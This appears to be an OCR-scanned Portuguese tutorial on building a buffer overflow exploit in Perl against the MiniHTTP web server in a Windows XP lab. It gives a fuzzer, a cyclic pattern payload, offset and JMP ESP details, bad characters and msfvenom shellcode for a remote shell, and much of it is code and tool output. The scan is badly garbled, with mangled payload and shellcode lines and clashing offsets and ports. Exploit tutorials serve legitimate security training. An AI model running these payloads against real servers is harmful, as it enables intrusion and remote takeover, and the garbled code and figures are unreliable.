Buffer Overflow

Como criar Epr0|t para MiniHTTP
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O MANUAL PASSO A PASSO

de como criar seus proprios scripts para
identificar e tratar vulnerabilidades
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INTRODUCAO

Esse artigo tem o intuito de criarmos as etapas para identificar e explorar
uma vulnerabilidade de Buffer Overflow.

Para entendermos como funciona cada etapa, utilizaremos de exemplo
um servidor web conhecido como MiniHTTP.

2.0 PRE-REQUISITOS

Recomendamos a criacdo de dois ambientes, um ambiente com um
servidor web disponivel ou acessivel por um usuario.

Apds criar o ambiente com Windows XP, podemos utilizar uma maquina
com a distribuicao Kali Linux (pode ser sua maquina):

e Download do Kali Linux:
https://www.kali.org/get-kali/#kali-installer-images/

e Download do Windows XP:
https://archive.org/download/WinXPProSP3x86/en windows xp p
rofessional with service pack 3 x86 cd vl x14-73974.iso

e MiniHTTP
https://sourceforge.net/projects/MiniHTTP/

e Download do VMWARE:
https://customerconnect.vmware.com/en/downloads/info/slug/de
sktop end user computing/vmware workstation pro/15 0

Apds fazer download de cada ferramenta, apenas faga o simples processo
de instalagao e configuragao que sao necessarias para o funcionamento.


https://www.kali.org/get-kali/#kali-installer-images/
https://archive.org/download/WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso
https://archive.org/download/WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso
https://sourceforge.net/projects/miniweb/
https://customerconnect.vmware.com/en/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/15_0
https://customerconnect.vmware.com/en/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/15_0

3.0 CRIANDO O LABORATORIO/AMBIENTE

Nessa secao instalaremos um servidor WEB vulnerdvel numa maquina
Windows XP.

Como o processo de instalacao é muito simples, ndo abordaremos o
processo de instalagao.

Vamos considerar que vocé concluiu a instalacdo do Windows XP e do
Web.

Se desejar acessar somente a se¢ao sobre o desenvolvimento do script em
Perl, acesse a se¢ao 5.



4.0 ACESSANDO O LABORATORIO

Vamos acessar a maquina com Windows XP e iniciar o servidor web.

@ c:\Documents and Settings\Administrator\Desktop\min

4.0.1 Inicie o servigo de web no servidor MiniHTTP.

Permita o acesso externo ao servidor WEB, portanto clique em “Unblock” .
Aqui temos o “start” do Servidor WEB para execurar e funcionar sem
problemas.

Com o servidor operando normalmente, vamos iniciar o processo de
construcao do nosso script em Perl.

Para realizar o teste é obrigatdrio instalar uma distribuicao Kali Linux, se
desejar reproduzir o laboratdrio.

Vamos comecar a primeira etapa do processo de exploracao de Buffer
Overflow no servidor.



6.1 FUZZER - ESTOURANDO O BUFFER

Agora, vamos comegar estourando o buffer do servidor web.

Para conseguirmos estourarmos o buffer, a primeira técnica que deve ser
empregada se chama “fuzzer”.

A técnica de fuzzer, consiste em enviar caracteres, iniciando com uma
pequena quantidade e depois aumentando a quantidade de caracteres até
estressar a aplicagdo ou servidor que esta submetido as avaliagdes e
testes de seguranca.

O fuzzer contribui para gerar resultados para mensurar o nivel de
seguranca de uma aplicacao ou servidor, além de indicar métricas que
estao associadas a desempenho, performance do servidor em responder
etc.

Nessa secao, vamos criar o script fuzzer e verificar com quantos bytes
estouramos o buffer associado ao método GET do servidor WEB.

Vamos usar o médulo “10::Socket::INET” do Perl para fazer conexdes com
o servidor WEB.

use IO::Socket::INET;

Ele sera responsavel pelas conexdes com o servidor WEB.

Nossa préxima etapa sera criar duas linhas indicando o endereco alvo e a
porta de conexao:

= '192.168.176.133";

80;

No meu caso, o endereco € 192.168.176.133 e a porta de acesso 80.

Agora, vamos enviar de 500 em 500 bytes para o servidor, para isso,
vamos criar um “for” para fazer as interagoes:



for (my $i=100; $i < 10000; $i = $i + 500) {

Agora, vamos fazer a soma dos bytes em cada interacdao do “for”:

my $offset = "A"x$i;

E a cada interagcao enviamos os bytes para o servidor através do mdédulo
de conexao 10::Socket::INET e recebemos a resposta do WEB:

my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.133:80: $!\n";

Precisamos monitorar a quantidade de bytes que estao sendo enviados e
suportados pelo servidor WEB:

print "Send Bytes => $i \n";

Esse sera nossa flag de monitoramento, ou seja, quantos bytes estao
sendo enviados.

Agora, vamos enviar a quantidade de dados, aumentando o envio
volumétrico de bytes para o servidor web a cada intera¢ao do laco for:

my $buf = "GET / $payload HTTP/1.1\r\nHost: $host\r\n\r\n";
$socket->send($buf);
close($socket);

Para sabermos que os bytes foram enviados e recebidos, usamos mais
uma flag de monitoramento, o recebimento da resposta:



E por ultimo utilizamos as chaves para fechar nossa interagao software.

Agora vamos rodar nosso script:

root@kali: fhome/kali/Desktop

File Actions Edit View Help

/home/kali/Desktop
serl minig.pl
@ Bytes
500 Bytes
1008 Bytes
1508 Bytes
2000 Bytes
2500 Bytes
3000 Bytes
3500 Bytes
4000 Bytes
4500 Bytes
5000 Bytes
5500 Bytes
6000 Bytes

6500 Bytes

Com 6500 bytes estouramos o buffer.



6.2 Descobrindo o EIP

Agora, vamos usar o pattern create do msf-pattern para descobrir
exatamente o local do EIP.
Vamos gerar nosso payload para enviar para o servidor:

Ikah/Desktop
-1 6500
a8Aa9AbBAb1Ab2Ab3AbAADSAD6ADTADBADIACOACIACD, cs 6 c eshe Ae8AOAFOAFIAF2AFIAFLAT
4 lSAlel’AlBAJQA]@A]lA] 4 3Ak&AKSAKEAKTAKBAKIATOA
m5Am6 A7 AmBAN9ANOAN1AN2AN3AN4ANSAN6AN7ANBAN9A0BA01A02A03A04A05 A0BADT A0BAOIADRAD1AD2AD 3ADAADSADEAD7ADBADOAGOAG1AG2AGIATLAGSAGE
HAI SAI 6Ar7AT BAI 9ASOAS ) As & 7 4AUSAUBAUTAUBAUIAVOAY 1AV AY AVSAVEAVTAVEAY QAWDAWIAW
6AX7AXSAXIAYOAY1AY2A: 6 6
Bd4Bd>| 7

8Bh9B10Bi1B
3n4Bn5BN6BN7!

DduDdSDdde7DdEDd9D=BD=1 De5De6De7De8DeIDFO
D El Dj5D§6Dj7D3j8Dj9DkODK1D k4Dk5Dk6Dk7Dk8DKIDT
80110 15D16 60m7 4 6Dn7 4 6 4 Dp"DpEngDqﬂDqlD Dg3Dg4Dg5D
260q70g8DqODr0 r&r 4 6 v0Dv D 8DvODWODWL
2 4 2Eb3ED4EDSEDGED
g g 29EhBER1ERZE
h3Eh4ERSERGERTERSEROELOEi1E12Ei3E14ELSEIGEL7EIBEIOE JOEJ1EI2E 3EL4 L L8EL m4EnSEm6EN7EnS
EM9ENOEN1EN2ENIEN4ENSENGEN7 ENBENIEODEOLE02EOIEQHEOSEQGEDTEOSE QOET! 3Er4ErSEr6Er7ErS
4 2Et3Et4EtS5Et6ET7ETBEL9EUOEULEU2 Ev! vOEW W an\lSE\JbEIﬂE\lEE\JQE
y Ez@Ez1Ez2Ez3Ez4EZ5EZ6EZ7EZ8EZ9Fa0FalFa 4Fa hthSFDthUﬂlBFDQF 1F, Fc
Fd6Fd7Fd8Fd9Fe0Fel eLFe e7FeBFeOFFOFF1F FSFFGFFTFFBFFOFgOFgl Fa2Fa3FakFaSFasFa7Fe FhOFh1Fh2Fh3Fh4FhSFhGFh7 FhaFhoFi0Fi1F
1Fj2Fj3Fj4F5FI6Fj7FiBFJOFKOFK1 k4FK5FKEFk7FKBFKIF1OFL1F b
07F08FoOFpOFp1Fp2Fp3Fp4FpSFp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fa5Fq6Fq7Fq8FqOFIaFT1FT 4FT r7Fr8Fr Fs 4Ft5Ft6Ft7FtBFtOFuOFulFu2
Fu3FulFuSFu6Fu7 FuBFUSFvOFVIFy; FVSFV6FV7FVBFvOFu@Fwl Fw2 Fu3 Furk Fus Fu Fu7 FuBFW9 FX0F x 4Fx <8Fx9Fy FySFy6Fy7Fy8Fy9Fz@Fz1Fz2 4Fz5F26Fz7Fz

Agora, enviamos uma unica requisicao para o servidor WEB MiniHTTP
2.0.0, assim autenticamos e enviamos nosso payload de caracteres criado
pelo msf-pattern para o servidor MiniHTTP 2.0.0:

use IO::Socket::INET;

my $host '192.168.176.133";
my $port 21;

my $payload

AaBAalAa2Aa3AadAa5AabAa7Aa8Aa9AboOAb1Ab2Ab3Ab4Ab5SAb6Ab7AD8ADOACOACIAC2AC3A
C4Ac5Ac6ACc7AcC8ACIAdOAdIAd2Ad3Ad4Ad5Ad6Ad7AdBAd9AePAe1Ae2Ae3AedAe5Ae6Ae7Ae
8Ae9ATOATIATF2AF3AFAAFSAT6AT7ATF8ATIAgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8AgO9AhOANLIAN2
Ah3Ah4Ah5Ah6Ah7Ah8AhSAiIOA1I1AI2A13A14A15A16A17A18A19AjOAj1Aj2Aj3Aj4Aj5Aj6A
j7Aj8Aj9AkOAk1AKk2Ak3AKk4AK5Ak6AK7AKk8AK9AIOAT1IA12A13A14A15A16A17A18A19AMOAM
1Am2Am3Am4Am5Am6Am7 Am8AMOANOAN1AN2ANn3An4An5An6AN7AN8AN9A00A01A02A03A04A05
A06A07A08A09APOAP1AP2AP3ApAAP5Ap6Ap7Ap8APOAqOAqLAq2Aq3Aq4Aq5Aq6Aq7Ag8AQOA
roArlAr2Ar3Ar4Ar5Ar6Ar7Ar8Ar9AsOAs1As2As3As4As5As6As7As8ASOATOATIAT2AL3AL
AAt5AT6AT7AT8AT9AUOAULAU2AU3AU4AUSAU6AU7AUBAU9AVOAVIAV2AV3AVAAVSAVEAV7AVE
AvIOAWOAWIAW2AW3AwAAWS AW6AW7 AWSAWIAXOAXTAX2AX3AXAAX5AX6AX7AX8AXOAYOAY 1Ay 2A
y3Ay4Ay5Ay6Ay7Ay8AYyOAzOAz1AZz2Az3Az4Az5Az26Az27Az8Az9BaPBalBa2Ba3Ba4Ba5Ba6Ba




7Ba8Ba9BboBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBcOBCc1Bc2Bc3Bc4Bc5Bc6BCc7Bc8BcO9BdOBd1
Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be@BelBe2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5B
f6Bf7Bf8Bf9BgOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhoBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9B1
©B11Bi2Bi3Bi4Bi5Bi6Bi17Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9BkOBk1Bk2Bk3Bk4
Bk5Bk6Bk7Bk8BkO9B10B11B12B13B14B15B16B17B18B19Bm@Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm3B
m9BnOBNn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B00B01B02B03B04Bo5B06B07B08B09BpOBp1Bp2Bp
3Bp4Bp5Bp6Bp7Bp8BpOBq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BroBri1Br2Br3Br4Br5Br6Br7
Br8BroBs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8BsOBtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8BtO9BuU@BUlB
u2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BVIBWOBW1BW2Bw3Bw4Bw5Bw
6Bw7Bw8BWIOBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0
Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca@CalCa2Ca3Ca4Ca5Cab6Ca7Ca8Ca9CbOCb1Cb2Cb3Cb4C
b5Cb6Cb7Cb8Cb9CcOCCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9CdoCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd
9CeBCelCe2Ce3Ce4Ce5Ceb6Ce7Ce8Ce9CTOCTICF2CF3CFACF5CT6CT7CF8CTICgACE1Cg2Cg3
Cg4Cg5CgbCg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CiACil1Ci2Ci3Ci4Ci5Ci6Ci7C
i8Ci9CjOCj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9CkaOCk1Ck2Ck3Ck4Ck5Ck6Ck7Ck8CkoC1OC11C1
2C13C14C15C16C17C18C19CMOCM1CM2CmM3CmM4ACmM5CmM6CmM7CmM8CM9CNOCN1CN2CN3Cn4Cn5Cn6
Cn7Cn8Cn9Co0Co01C02C03C04C05C06C07C08C09CPACP1CP2Cp3Cp4Cp5Cp6LCp7Cp8CpOCgeC
g1Cq2Cq3Cq4Cq5Cq6Cq7Cgq8Cq9CroCrl1Cr2Cr3Cr4Cr5Cr6Cr7Cr8CroCsaCs1Cs2Cs3Cs4Cs
5Cs6Cs7Cs8CsOCtOCt1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9CUACULCU2CuU3Cu4Cu5CubCu7Cu8Cu9
CvOCv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8CVICWOCWICW2Cw3CwaCw5Cw6Cw7Cw8CwICXOCXx1Cx2Cx3C
X4CXx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz
8Cz9DadDalDa2Da3Da4Da5Da6Da7Da8Da9DbeDb1Db2Db3Db4Db5Db6Db7Db8Db9DcODCc1DCc2
Dc3Dc4Dc5Dc6Dc7Dc8Dc9DdeDd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De@DelDe2De3De4De5De6D
e7De8De9DfODT1Df2Df3Df4Df5Df6Df7DF8Df9DgeDg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8DgODhoDh
1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di@Dil1Di2Di3Di4Di5Di6Di7Di8Di9DjeDj1Dj2Dj3Dj4Dj5
Dj6Dj7Dj8Dj9DkoDk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D16D11D12D13D14D15D16D17D18D19D
m@Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8DmODN@DN1DN2DNn3Dn4Dn5Dn6Dn7Dn8Dn9Do®Do1D0o2Do3Do
4Do5D0o6Do7Do8Do9DpeDp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8DpODqODqlDgq2Dq3Dq4Dq5Dq6Dq7Dg8
Dg9DreDri1Dr2Dr3Dr4Dr5DreDr7Dr8Dro9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9DtoDt1Dt2D
t3Dt4Dt5Dt6Dt7Dt8Dt9DueDuU1Du2DuU3Du4Du5Du6Du7Du8DuSDVEDvV1Dv2Dv3Dv4Dv5Dv6eDv
7Dv8DvODWODwW1Dw2Dw3Dw4Dw5Dw6Dw7Dw8DwIDXx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy 1
Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea®EalEa2Ea3Ead4EaSE
a6Ea7Ea8Ea9EbOEbI1Eb2Eb3Eb4EBSED6ED7EDB8EDOECOECIEC2EC3EC4ECS5EC6EC7EC8ECIE
OEd1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9EeOEelEe2Ee3Ee4EeSEe6Ee7EeBEeOETOET1ET2Ef3ET4
EfSEf6Ef7Ef8EfOEgOEgIEg2Eg3EgAEGSEgG6EE7EEBEEOENOEhIEN2EN3ER4ERSEN6ER7ENSE
hOEi@Eil1Ei2Ei3Ei4EiS5Ei6Ei7Ei8Ei9EJOEj1Ej2Ej3Ej4EjS5Ej6Ej7EJ8EJOEKOEKIEK2EK
3EK4EKSEK6EK7EK8EKOELQEL1E12E13E14E15E16E17E18E19EMOEMIEM2EM3EMAEMSEME6EM7
Em8EMO9ENOEN1EN2EN3EN4ENSEN6EN7ENS8EN9EOOEO1EO02EO03E04EOSEO6EO07EO8EO9EPOEPLE
p2Ep3Ep4EpSEp6EP7EPS8EPOEQOEqLEq2Eq3Eq4EqSEQ6EqQ7EQBEQOErOEr1Er2Er3Er4ErSEr
6Er7Er8Er9ESOES1ES2ES3ES4ESS5ES6ES7ES8ESOEtOEt1Et2Et3Et4EtS5Et6EL7ET8EL9EUO
EulEu2Eu3Eu4EuSEU6EU7EU8EUSEVOEV1EV2EV3EVAEV5EV6EV7EVBEVOEWOEWIEW2EW3EWAE
W5EW6EW7EWSEWIEXOEX1EX2EX3EX4EXSEX6EX7EX8EXOEYOEY1EY2EY3EY4EYSEY6EY7EY8EY
9EzOEz1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa@FalFa2Fa3FadFa5Fa6Fa7Fa8Fa9FbOFblFb2Fb3
Fb4Fb5Fb6Fb7Fb8FbOFcOFc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9FdOFd1Fd2Fd3Fd4Fd5Fd6Fd7F
d8Fd9FeOFelFe2Fe3FedFe5Fe6Fe7Fe8Fe9FfOFf1Ff2Ff3FfAFf5Ff6Ff7Ff8FfOFgOFglFg
2Fg3FgAFg5Fg6Fg7Fg8Fg9FhOFh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8FhOFi0Fil1Fi2Fi3Fi4Fi5Fi6
Fi7Fi8Fi9FjOF j1Fj2Fj3Fj4Fj5Fj6Fj7F j8BF jOFkOFk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9F10F
11F12F13F14F15F16F17F18F19FmOFm1Fm2Fm3Fm4Fm5Fm6FmM7Fm8FMOFNOFNn1Fn2Fn3Fn4Fn
5Fn6Fn7Fn8FN9F00F01F02F03F04F05F06F07F08F09FpOFplFp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9




FgOFqlFq2Fq3Fg4Fq5Fq6Fq7Fq8Fq9FroFrlFr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9FsOFs1Fs2Fs3F
SAFSs5Fs6Fs7Fs8FsOFtOFt1Ft2Ft3Ft4Ft5Ft6Ft7Ft8FtO9FuOFulFu2Fu3Fu4FuS5Fub6Fu7Fu
8Fu9FvOFV1FVv2Fv3Fv4FV5Fv6FV7FVv8FVOFWOFW1FW2Fw3Fw4Fw5Fw6Fw7 FW8FwWOFXOFxX1Fx2
FX3FX4FX5FX6Fx7Fx8Fx9FyOFy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9FzOFz1Fz2Fz3Fz4Fz5Fz6F
Zz7Fz8Fz9Ga0GalGa2Ga3Ga4Ga5GabGa7Ga8Ga9GbOGb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8GbOGCOAGC
1Gc2Gc3Gc4Gec5Gec6GCc7Ge8Gc9GdOGd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0GelGe2Ge3GedGe5s
Ge6Ge7Ge8Ge9GTOGT1GT2GT3GF4GT5GT6GT7GT8GTIGgAGE1Gg2GEg3Gg4Gg5Gg6GE7Gg8GE9G
heGh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9GiAGi11Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1G]j2Gj3G]
4Gj5Gj6G]j7Gj8Gj9GkoGk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9G10G11G12G13G14G15G16G17G18
G19GmOGM1GM2Gm3Gm4Gm5Gm6GM7Gm8GMOGNAGN1GN2Gn3Gn4Gn5Gn6Gn7Gn8GnN9Go0Go1Go2G
03G0o4Go5G06G07G08G09GpRGP1Gp2Gp3Gp4Gp5Gp6Gp7Gp8GaGP9GaRGa1Ggq2Gq3Gg4Gq5Ga6eGq
7Gg8Gg9GroGrilGr2Gr3GraGr5GreGr7Gr8GroGsoGs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9GtoGtl
Gt2Gt3Gt4Gt5GteGt7Gt8GtoGUOGUIGU2GU3GU4GUSGUEGU7GU8GUIGVOGV1GY2GV3GVv4GV5aG
v6GV7Gv8GVIGWOGWIGW2GW3GwAGW5GW6GW7Gw8GWIGXOGX1GX2GX3GX4GX5GX6GX7GX8GX9GY
0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2G23Gz4Gz5Gz6G2z7Gz8Gz9HaVHalHa2Ha3Ha4
Ha5Ha6Ha7Ha8Ha9HbOHb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9HCOHCc1HCc2HC3HCc4HC5HC6HC7HC8H
Cc9HdOHd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9HeOHe1He2He3He4He5He6He 7He8HeOHFOHF 1HF2HF
3Hf4Hf5Hf6Hf7Hf8Hf9HgOHg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9HhOHh1Hh2Hh3Hh4Hh5Hh6HNh7
Hh8Hh9HiOHi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9HjOHj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9HkOHkK1H
k2Hk3Hk4Hk5Hk6Hk7Hk8HkOH1OH11H12H13H14H15H16H17H18H19HMOHM1HM2HM3HM4Hm5Hm
6HM7HM8HMOHNOHN1HN2HN3HN4HN5HN6HN7HN8HN9HO0OHO1HO02HO03HO4HO5HO6HO7HO8HOSHPO
Hp1Hp2Hp3Hp4Hp5HPp6HP7HP8HPOHqOHq1Hq2HG3Hq4Hq5Hq6Hq7HG8HGOHrOHr 1Hr2Hr3Hr4H
r5HréHr7Hr8Hr9HsOHs1Hs 2HS 3HS4HS5HS6HS 7HsS8HSOHtOHt 1Ht2Ht 3Ht4Ht5Ht6Ht 7Ht8Ht
9HUPHU1HU2HU3HU4HU5HU6HU7HU8HUSHVOHV1HV2HV3HV4HV5HV6HV 7HV8HVOHWOHW1HW2HW3
Hw4HW5HW6HW7HW8HWOHXOHX1HX2HX 3HX4HX5HX6HX7HX8HXx9HYOHYy 1HYy 2Hy 3Hy4Hy 5HYy 6Hy 7H
y8Hy9HzOHz1Hz2Hz3Hz4HZz5HZz6HZz27Hz8HZz9T1a@Ialla2la3Ia4la5TIa6Ia71a8TIa91b@IblIb
2Ib3Ib4Ib5Ib6Ib7Ib8Ib9IcOIc1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic91d0Id1Id2Id3Id4Id5Id6
Id7Id8Id9Ie@Ielle2Ie3Ie4le5Ie6le7Ie8Ie9IfOIf1If2If3If4If5IFf6If7IFf8IF9IgOI
g11g2Tg3T1g4Ig5Ig6Ig7Ig8Ig9ThOIh1Ih2Th3Th4Th5Th6Ih7Ih8Ih9Ii0Til1Ti21i3Ti4Ti
5Ii";

my $sock = IO::Socket::INET->new(
PeerAddr => "192.168.176.133",
PeerPort => "21",
Proto => "tcp',
) or die "Cannot connect to 192.168.176.133:88: $!\n";

Antes de executar o script, execute pela segunda vez o MiniHTTP e inicie-
o, coloque o servidor no modo “listen”.



6.2.1 Monitorando o servidor WEB

Abra o Immunity Debug para monitoramento a execuc¢ao do servidor
WEB:

“_ Immunity Debugger - [CPU]
[C] Fie View Debug Pluging Tmib Options ‘Window Help Jobs
BHEE X P N WHHLEY 1 emtwhcPkbzr..

Need support? visit http://forum.imnunityinc.con/ Ready

Agora, vamos apontar para o servidor MiniHTTP 2.0.0, clique em File,
selecione a aplicagao MiniHTTP 2.0.0 e depois clique em Attach para
anexarmos o servidor WEB e monitorarmos:

FTE X N HELEY* 1 emtwhcPkb

“H— —j

Fop Python Shell Ready

Cligue no botao Play:



< Immunity Debugger - minihttpd.exe - [CPU - thread 00000ADO, module ntdIl]
File View Debug Pligips Immlib Options Window Help Jobs
i3+ lemtwhcPkbzr

[ ‘ -l

[19:03:481 Thread BBABBADA terminated. exit code @ Running

6.2. Execute o script em Perl:

Nessa secao executaremos o script para descobrirmos o nosso EIP:

B eEpPor) |1 234]p
root@kali: fhomefkal
File Actions Edit View Help
root@kali: /home/kali/Desktop/exploits X root@kali: /home/kali/Desktop X

/home/kali/Desktop
minig.pl

/home/kali/Desktop

Resultado do EIP:




6.3 Qual o offset?

Nessa se¢ao precisamos descobrir o niumero de offsets e trabalharmos
com encaixe na planilha.
Vamos usar o msf-pattern para descobrirmos o nimero de offsets:

root @kali: fhomefkali/Desktop

File Actions Edit View Help

root@kali: fnome/kali/Desktop/exploits % root@kali: [home/kali/Desktop %
/home/kali/Desktop

rn_offset

S Y 337A4732
t match at off

/home/kali/Desktop

O resultado foi 5438, ou seja, a quantidade de bytes para chegarmos ao
EIP.

6.4 VALIDAR A ESTRUTURA

Antes de iniciar essa sec¢ao, repita a secao 6.2.1 para monitorar a execu¢ao
e comportamento do servidor pelo Immunity Debug.

Precisamos validar a estrutura da pilha utilizamos 3 letras para preencher
apilha: A,BeC.



As serdo os offsets;
B deverao cobrir o local da memoria que o enderego EIP
C deverao cobrir o local da memaria que sera adicionado nosso shellcode.

A estrutura do nosso payload, sera a seguinte:

my $offset = "A"x5438;
my $eip = "B"x4;
my $esp = "C"x(500-length($offset));

my $payload = $offset.$eip.$esp;
Ao executar o nosso script teremos o resultado:

* Immunity Debugger - minihttpd.exe - [CPU - thread 00000A24]
ine window Help Jabs
S EE X b 1 WM+ 1 emtwhcPkbzr..

v

“H— _j

[19:13:881 Access violation when executing [424242421 — use Shift+F7/F8/F% to pass exception to program Paused

Veja que esta funcionando perfeitamente.




6.4 JUMP

O proximo passo serd descobrir uma DLL que possa servir como jump para
nosso shellcode.

Digite no Immunity Debug o seguinte comando:

Imona jmp -r esp -n

| Immunity Debugger - minihttpd.exe
Fie View Debug Plugns Immlb Options Window Help Jobs
0 Mx Il M lemtwhcPkbzr

Log data

Paused

Aguarde enquanto as dlls estao sendo pesquisadas pelo mona, conforme a
imagem acima. Na imagem acima, esta a DLL com o jump pronto

0x7c941eed

Sabendo pelo Metasploit quais sdao os badchars, ndo precisamos executar
o Immunity Debug e o mona para descobrir essa informacao.

Os badchars sao:

\x00\x0A\x0D

Embora a quantidade de NOPs definida pela Metasploit seja 5438,
recomendamos adicionar testar a quantidade de NOPs.



Em nosso exemplo, a quantidade de NOPS foram 30, portanto,
recomendamos testar.

7.0 CONSTRUINDO O EXPLOIT

Conseguimos as informacdes importantes para criar o exploit:

12 os offsets, sdo 5483, ou seja, idénticas as informacdes fornecidas pelo
Metasploit.

22 0 JUMP em EIP sofreu alteragdes, nao as mesmas do Metasploit,
normal.

32 Os badchars estdo corretos, essa informacao € a mesma do Metaspoit.

Vamos estrutura o exploit:

use IO::Socket::INET;

my $host '192.168.176.133";

my $port 21;

my $offset = "A"x5483;
my $eip = " \xed\xle\x94\x7c";




7.1 CRIANDO O SHELLCODE

Agora vamos criar nosso shellcode, responsavel pela obtencao da shell no
servidor remoto, acesse o terminal do Kali Linux e crie um shellcode com o
msfvenom:

—(root%kali)-[/home/kali/Desktop]
L

Foun d 12 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga nai succeeded with size 351 (iteration=0)
x86/shikata_ga nai chosen with final size 351

Payload size: 351 bytes

Final size of perl file: 1544 bytes

my $buf =
"\xbe\x51\x90\xa5\x39\xdb\xde\xd9\x74\x24\xf4\x58\x29\xc9" .
"\xb1\x52\x83\xe8\xfc\x31\x70\x0e\x03\x21\x9e\x47\xcc\x3d" .
BV VLAV CEAV PRV G AV ETAV CEAV GEAV CEAV GIAVEEAV G AV LAV AV ¢ F- I
BV CEAV VARV GCIAVCAVEE AV I AV CIEAVCIAVC EAVCIAV E IRV AV AV CE S
"\xa7\x0f\x76\xb2\x2b\x52\xab\x14\x15\x9d\xbe\x55\x52\xc0" .
"\x33\x07\x0b\x8e\xe6\xb7\x38\xda\x3a\x3c\x72\xca\x3a\xal" .
AV (EAVCEAV CLAVEZAVE AV G IAVEL AV IFAV TV (A CEAV I AV AV G
AV GIAV AV ARV E PAVETAV (A AV T4 AV CIAV AV ENAV LAV E EAV IV A T
"\x73\x46\x9b\x8e\x87\xFfb\x9c\x55\xf5\x27\x28\x4d\x5d\xa3" .
"\x8a\xa9\x5f\x60\x4c\x3a\x53\xcd\x1a\x64\x70\xdo\xcf\x1f" .
"\x8c\x59\xee\xcf\x04\x19\xd5\xcb\x4d\xf9\x74\x4a\x28\xac" .
BV CEAVCIAVCEAVEMAV PIAPIFAVEIAV CIAV CHAVEEAV CIAV EEAV Gl b €7 s
"\xa7\xad\xe7\x47\x95\x6b\x5c\xcf\x95\xe4\x7a\x08\xd9\xde" .
BV E LAV CIAV LAV AV E AV I AV VAV GEAV CIAVEVAV (EAV G AV VAV C VAN
"\xeb\x63\xa7\x67\x43\xdc\x08\xd7\x23\x8c\xe0@\x3d\xac\xf3" .
AV ENAVELAV CIAVEIAV G EAVEAV CHAV CEAVCLAV VAV VARV Gl AV CYAV 4 T
BV CEAVCAVCIAVCEAVCEAVELAV VAV CIAV CIAVCH AV YAV (A AV E VAV ¥ 1s s
BV GEAVEEAV T AV E AV IAVEVAVEIAVCIAVEE AV CIAVE L AV GIAV A AV EY S
"\x66\xcO\xaft\x50\xed4\x53\x34\xa0\x63\x48\xe3\xf7\x24\xbe" .
"\xfa\x9d\xd8\x99\x54\x83\x20\x7f\x9e\x07\xff\xbc\x21\x86" .
"\Xx72\xf8\x05\x98\x4a\x01\x02\xcc\x02\x54\xdc\xba\xed\x0e" .
"\xae\x14\xbf\xfd\x78\xf0\x46\xce\xba\x86\x46\x1b\x4d\x66" .
